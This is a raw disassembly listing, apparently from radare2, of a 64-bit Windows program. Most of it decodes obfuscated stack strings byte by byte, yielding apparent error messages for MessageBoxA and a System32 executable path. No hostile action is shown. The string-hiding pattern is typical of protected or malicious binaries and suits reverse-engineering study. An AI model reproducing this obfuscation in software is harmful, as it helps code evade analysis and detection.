lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa2b], al
mov r9d, esi
lea r8d, [rsi - 0x22]
mov dl, Ordinal_41
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa2c], al
mov r9d, esi
lea r8d, [rsi - 0x21]
mov dl, 0x41
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa2d], al
mov r9d, esi
lea r8d, [rsi - 0x20]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa2e], al
mov r9d, esi
lea r8d, [rsi - 0x1f]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa2f], al
mov r9d, esi
lea r8d, [rsi - 0x1e]
mov dl, 0x65
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa30], al
mov r9d, esi
mov r8, r14
mov dl, 0x6d
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa31], al
mov r9d, esi
lea r8d, [rsi - 0x1c]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa32], al
mov r9d, esi
mov r8, r15
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa33], al
mov r9d, esi
lea r8d, [rsi - 0x1a]
mov dl, r14b
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa34], al
mov r9d, esi
lea r8d, [rsi - 0x19]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa35], al
mov r9d, esi
lea r8d, [rsi - 0x18]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa36], al
mov r9d, esi
lea r8d, [rsi - 0x17]
mov dl, r14b
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa37], al
mov r9d, esi
lea r8d, [rsi - 0x16]
mov dl, 0x52
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa38], al
mov r9d, esi
lea r8d, [rsi - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa39], al
mov r9d, esi
lea r8d, [rsi - 0x14]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa3a], al
mov r9d, esi
lea r8d, [rsi - 0x13]
mov dl, 0x43
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa3b], al
mov r9d, esi
lea r8d, [rsi - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa3c], al
mov r9d, esi
lea r8d, [rsi - 0x11]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa3d], al
mov r9d, esi
lea r8d, [rsi - 0x10]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa3e], al
mov r9d, esi
lea r8d, [rsi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa3f], al
mov r9d, esi
lea r8d, [rsi - 0xe]
mov dl, 0x63
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa40], al
mov r9d, esi
lea r8d, [rsi - 0xd]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa41], al
mov r9d, esi
lea r8d, [rsi - 0xc]
mov dl, r14b
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa42], al
mov r9d, esi
lea r8d, [rsi - 0xb]
mov dl, 0x77
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa43], al
mov r9d, esi
lea r8d, [rsi - 0xa]
mov dl, 0x69
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa44], al
mov r9d, esi
lea r8d, [rsi - 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa45], al
mov r9d, esi
lea r8d, [rsi - 8]
mov dl, 0x68
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa46], al
mov r9d, esi
lea r8d, [rsi - 7]
mov dl, r14b
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa47], al
mov r9d, esi
lea r8d, [rsi - 6]
mov dl, 0x61
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa48], al
mov r9d, esi
lea r8d, [rsi - 5]
mov dl, r14b
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa49], al
mov r9d, esi
lea r8d, [rsi - 4]
mov dl, 0x56
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa4a], al
mov r9d, esi
lea r8d, [rsi - 3]
mov dl, 0x50
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa4b], al
mov r9d, esi
lea r8d, [rsi - 2]
mov dl, Ordinal_79
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa4c], al
mov r9d, esi
lea r8d, [rsi - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + 0xa4d], al
xor eax, eax
mov byte [rbp + 0xa4e], al
xor ebx, ebx
mov edi, ebx
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0xa11]
lea rcx, [rbp + 0xa10]
call fcn.14002e3c4
mov byte [rbp + rdi + 0xa11], al
add rdi, r13
cmp rdi, rsi
jb 0x140016483
mov byte [rbp + 0xa4e], bl
xor r9d, r9d
lea r8, [rbp + 0x3b1]
lea rdx, [rbp + 0xa11]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r13d
call fcn.140093e48
int3
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rbp - 0x58], rax
mov ecx, 0x20b
cmp word [rax + 0x18], cx
je 0x140016dd7
mov byte [rbp + 0x3c8], 0x48
mov r9, rbx
mov dl, 0x42
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3c9], al
mov r9, rbx
mov r15d, 1
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3ca], al
mov r9, rbx
lea r8d, [r15 + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3cb], al
mov r9, rbx
lea r8d, [r15 + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3cc], al
mov r9, rbx
lea r8d, [r15 + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3cd], al
mov r9, rbx
lea r8d, [r15 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3ce], al
mov r9, rbx
lea r8d, [r15 + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3cf], al
mov r9, rbx
lea r8d, [r15 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3d0], al
mov r9, rbx
lea r8d, [r15 + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3d1], al
mov r9, rbx
lea r8d, [r15 + 8]
mov dl, r14b
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3d2], al
mov r9, rbx
lea r8d, [r15 + 9]
mov dl, 0x46
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3d3], al
mov r9, rbx
lea r8d, [r15 + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3d4], al
mov r9, rbx
lea r8d, [r15 + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3d5], al
mov r9, rbx
lea r8d, [r15 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3d6], al
mov r9, rbx
lea r8d, [r15 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3d7], al
mov r9, rbx
lea r8d, [r15 + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3d8], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + 0x3d9], al
xor eax, eax
mov byte [rbp + 0x3da], al
mov r13d, eax
mov r9, rbx
mov r8, r13
mov dl, byte [rbp + r13 + 0x3c9]
lea rcx, [rbp + 0x3c8]
call fcn.14002e0f0
mov byte [rbp + r13 + 0x3c9], al
add r13, r15
cmp r13, rbx
jb 0x1400166cb
xor eax, eax
mov byte [rbp + 0x3da], al
mov byte [rbp + 0xa50], bl
lea r15d, [rax + 0x3d]
mov r9d, r15d
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa51], al
mov r9d, r15d
lea r8d, [r15 - 0x3c]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa52], al
mov r9d, r15d
lea r8d, [r15 - 0x3b]
mov dl, 0x76
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa53], al
mov r9d, r15d
lea r8d, [r15 - 0x3a]
mov dl, 0x61
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa54], al
mov r9d, r15d
lea r8d, [r15 - 0x39]
mov dl, 0x6c
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa55], al
mov r9d, r15d
lea r8d, [r15 - 0x38]
mov dl, 0x69
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa56], al
mov r9d, r15d
lea r8d, [r15 - 0x37]
mov dl, 0x64
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa57], al
mov r9d, r15d
lea r8d, [r15 - 0x36]
mov dl, r14b
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa58], al
mov r9d, r15d
lea r8d, [r15 - 0x35]
mov dl, 0x50
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa59], al
mov r9d, r15d
lea r8d, [r15 - 0x34]
mov dl, WSAStartup
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa5a], al
mov r9d, r15d
lea r8d, [r15 - 0x33]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa5b], al
mov r9d, r15d
lea r8d, [r15 - 0x32]
mov dl, 0x63
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa5c], al
mov r9d, r15d
lea r8d, [r15 - 0x31]
mov dl, 0x65
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa5d], al
mov r9d, r15d
lea r8d, [r15 - 0x30]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa5e], al
mov r9d, r15d
lea r8d, [r15 - 0x2f]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa5f], al
mov r9d, r15d
lea r8d, [r15 - 0x2e]
mov dl, 0x65
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa60], al
mov r9d, r15d
mov r8, r12
mov dl, 0x64
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa61], al
mov r9d, r15d
mov r8, rbx
mov dl, r14b
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa62], al
mov r9d, r15d
lea r8d, [r15 - 0x2b]
mov dl, 0x44
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa63], al
mov r9d, r15d
lea r8d, [r15 - 0x2a]
mov dl, 0x61
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa64], al
mov r9d, r15d
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa65], al
mov r9d, r15d
lea r8d, [r15 - 0x28]
mov dl, 0x61
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa66], al
mov r9d, r15d
lea r8d, [r15 - 0x27]
mov dl, r14b
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa67], al
mov r9d, r15d
mov r8, rdi
mov dl, 0x30
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa68], al
mov r9d, r15d
lea r8d, [r15 - 0x25]
mov dl, 0x78
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa69], al
mov r9d, r15d
lea r8d, [r15 - 0x24]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa6a], al
mov r9d, r15d
lea r8d, [r15 - 0x23]
mov dl, r14b
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa6b], al
mov r9d, r15d
lea r8d, [r15 - 0x22]
mov dl, Ordinal_41
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa6c], al
mov r9d, r15d
lea r8d, [r15 - 0x21]
mov dl, 0x41
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa6d], al
mov r9d, r15d
lea r8d, [r15 - 0x20]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa6e], al
mov r9d, r15d
lea r8d, [r15 - 0x1f]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa6f], al
mov r9d, r15d
lea r8d, [r15 - 0x1e]
mov dl, 0x65
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa70], al
mov r9d, r15d
mov r8, r14
mov dl, 0x6d
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa71], al
mov r9d, r15d
lea r8d, [r15 - 0x1c]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa72], al
mov r9d, r15d
lea r8d, [r15 - 0x1b]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa73], al
mov r9d, r15d
lea r8d, [r15 - 0x1a]
mov dl, r14b
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa74], al
mov r9d, r15d
lea r8d, [r15 - 0x19]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa75], al
mov r9d, r15d
lea r8d, [r15 - 0x18]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa76], al
mov r9d, r15d
lea r8d, [r15 - 0x17]
mov dl, r14b
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa77], al
mov r9d, r15d
lea r8d, [r15 - 0x16]
mov dl, 0x52
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa78], al
mov r9d, r15d
lea r8d, [r15 - 0x15]
mov dl, 0x65
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa79], al
mov r9d, r15d
lea r8d, [r15 - 0x14]
mov dl, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa7a], al
mov r9d, r15d
lea r8d, [r15 - 0x13]
mov dl, 0x43
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa7b], al
mov r9d, r15d
lea r8d, [r15 - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa7c], al
mov r9d, r15d
lea r8d, [r15 - 0x11]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa7d], al
mov r9d, r15d
lea r8d, [r15 - 0x10]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa7e], al
mov r9d, r15d
lea r8d, [r15 - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa7f], al
mov r9d, r15d
lea r8d, [r15 - 0xe]
mov dl, 0x63
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa80], al
mov r9d, r15d
lea r8d, [r15 - 0xd]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa81], al
mov r9d, r15d
lea r8d, [r15 - 0xc]
mov dl, r14b
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa82], al
mov r9d, r15d
lea r8d, [r15 - 0xb]
mov dl, 0x77
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa83], al
mov r9d, r15d
lea r8d, [r15 - 0xa]
mov dl, 0x69
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa84], al
mov r9d, r15d
lea r8d, [r15 - 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa85], al
mov r9d, r15d
lea r8d, [r15 - 8]
mov dl, 0x68
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa86], al
mov r9d, r15d
lea r8d, [r15 - 7]
mov dl, r14b
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa87], al
mov r9d, r15d
lea r8d, [r15 - 6]
mov dl, 0x61
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa88], al
mov r9d, r15d
lea r8d, [r15 - 5]
mov dl, r14b
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa89], al
mov r9d, r15d
lea r8d, [r15 - 4]
mov dl, 0x56
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa8a], al
mov r9d, r15d
lea r8d, [r15 - 3]
mov dl, 0x50
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa8b], al
mov r9d, r15d
lea r8d, [r15 - 2]
mov dl, Ordinal_79
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa8c], al
mov r9d, r15d
lea r8d, [r15 - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + 0xa8d], al
xor eax, eax
mov byte [rbp + 0xa8e], al
xor ebx, ebx
mov edi, ebx
lea esi, [rax + 1]
mov r9, r15
mov r8, rdi
mov dl, byte [rbp + rdi + 0xa51]
lea rcx, [rbp + 0xa50]
call fcn.14002e3c4
mov byte [rbp + rdi + 0xa51], al
add rdi, rsi
cmp rdi, r15
jb 0x140016d88
mov byte [rbp + 0xa8e], bl
xor r9d, r9d
lea r8, [rbp + 0x3c9]
lea rdx, [rbp + 0xa51]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call fcn.140093e48
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf48], xmm0
mov qword [rbp + 0xf58], rax
mov byte [rbp + 0x8e0], WSASetLastError
lea r14d, [rax + 0x1f]
mov r9d, r14d
mov dl, 0x43
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8e1], al
mov r9d, r14d
lea r13d, [r14 - 0x1e]
mov r8d, r13d
mov dl, 0x3a
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8e2], al
mov r9d, r14d
lea r8d, [r14 - 0x1d]
mov dl, 0x5c
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8e3], al
mov r9d, r14d
lea r8d, [r14 - 0x1c]
mov dl, 0x57
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8e4], al
mov r9d, r14d
lea r8d, [r14 - 0x1b]
mov dl, 0x69
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8e5], al
mov r9d, r14d
lea r8d, [r14 - 0x1a]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8e6], al
mov r9d, r14d
lea r8d, [r14 - 0x19]
mov dl, 0x64
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8e7], al
mov r9d, r14d
lea r8d, [r14 - 0x18]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8e8], al
mov r9d, r14d
lea r8d, [r14 - 0x17]
mov dl, 0x77
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8e9], al
mov r9d, r14d
lea r8d, [r14 - 0x16]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8ea], al
mov r9d, r14d
lea r8d, [r14 - 0x15]
mov dl, 0x5c
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8eb], al
mov r9d, r14d
lea r8d, [r14 - 0x14]
mov dl, 0x53
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8ec], al
mov r9d, r14d
lea r8d, [r14 - 0x13]
mov dl, 0x79
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8ed], al
mov r9d, r14d
lea r8d, [r14 - 0x12]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8ee], al
mov r9d, r14d
lea r8d, [r14 - 0x11]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8ef], al
mov r9d, r14d
lea r8d, [r14 - 0x10]
mov dl, 0x65
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8f0], al
mov r9d, r14d
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8f1], al
mov r9d, r14d
mov r8, rbx
mov dl, 0x33
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8f2], al
mov r9d, r14d
lea r8d, [r14 - 0xd]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8f3], al
mov r9d, r14d
lea r8d, [r14 - 0xc]
mov dl, 0x5c
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8f4], al
mov r9d, r14d
mov r8, rsi
mov dl, WSAGetLastError
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8f5], al
mov r9d, r14d
lea r8d, [r14 - 0xa]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8f6], al
mov r9d, r14d
lea r8d, [r14 - 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8f7], al
mov r9d, r14d
mov r8, rdi
mov dl, 0x65
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8f8], al
mov r9d, r14d
lea r8d, [r14 - 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8f9], al
mov r9d, r14d
lea r8d, [r14 - 6]
mov dl, 0x61
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8fa], al
mov r9d, r14d
lea r8d, [r14 - 5]
mov dl, 0x64
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8fb], al
mov r9d, r14d
lea r8d, [r14 - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8fc], al
mov r9d, r14d
lea r8d, [r14 - 3]
mov dl, 0x65
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8fd], al
mov r9d, r14d
lea r8d, [r14 - 2]
mov dl, 0x78
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8fe], al
mov r9d, r14d
lea r8d, [r14 - 1]
mov dl, 0x65
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + 0x8ff], al
xor eax, eax
mov byte [rbp + 0x900], al
mov r14d, eax
mov r9d, Ordinal_32
mov r8, r14
mov dl, byte [rbp + r14 + 0x8e1]
lea rcx, [rbp + 0x8e0]
call fcn.14002e168
mov byte [rbp + r14 + 0x8e1], al
add r14, r13
cmp r14, 0x1f
jb 0x140017140
xor eax, eax
mov byte [rbp + 0x900], al
lea rax, [rbp + 0x8e1]
mov qword [rbp + 0xc30], rax
mov byte [rbp + 0x898], select
mov r14d, reloc.WLDAP32.dll_Ordinal_30
mov r9d, r14d
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x899], al
mov r9d, r14d
mov r15, r13
mov r8, r13
mov dl, 0x3a
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x89a], al
mov r9d, r14d
lea r8d, [r14 - 0x1c]
mov dl, 0x5c
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x89b], al
mov r9d, r14d
lea r8d, [r14 - 0x1b]
mov dl, 0x57
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x89c], al
mov r9d, r14d
lea r8d, [r14 - 0x1a]
mov dl, 0x69
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x89d], al
mov r9d, r14d
lea r8d, [r14 - 0x19]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x89e], al
mov r9d, r14d
lea r8d, [r14 - 0x18]
mov dl, 0x64
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x89f], al
mov r9d, r14d
lea r8d, [r14 - 0x17]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8a0], al
mov r9d, r14d
lea r8d, [r14 - 0x16]
mov dl, 0x77
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8a1], al
mov r9d, r14d
lea r8d, [r14 - 0x15]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8a2], al
mov r9d, r14d
lea r8d, [r14 - 0x14]
mov dl, 0x5c
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8a3], al
mov r9d, r14d
lea r8d, [r14 - 0x13]
mov dl, 0x53
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8a4], al
mov r9d, r14d
lea r8d, [r14 - 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x898]
call fcn.14002e258
mov byte [rbp + 0x8a5], al
mov r9d, r14d
lea r8d, [r14 - 0x11]
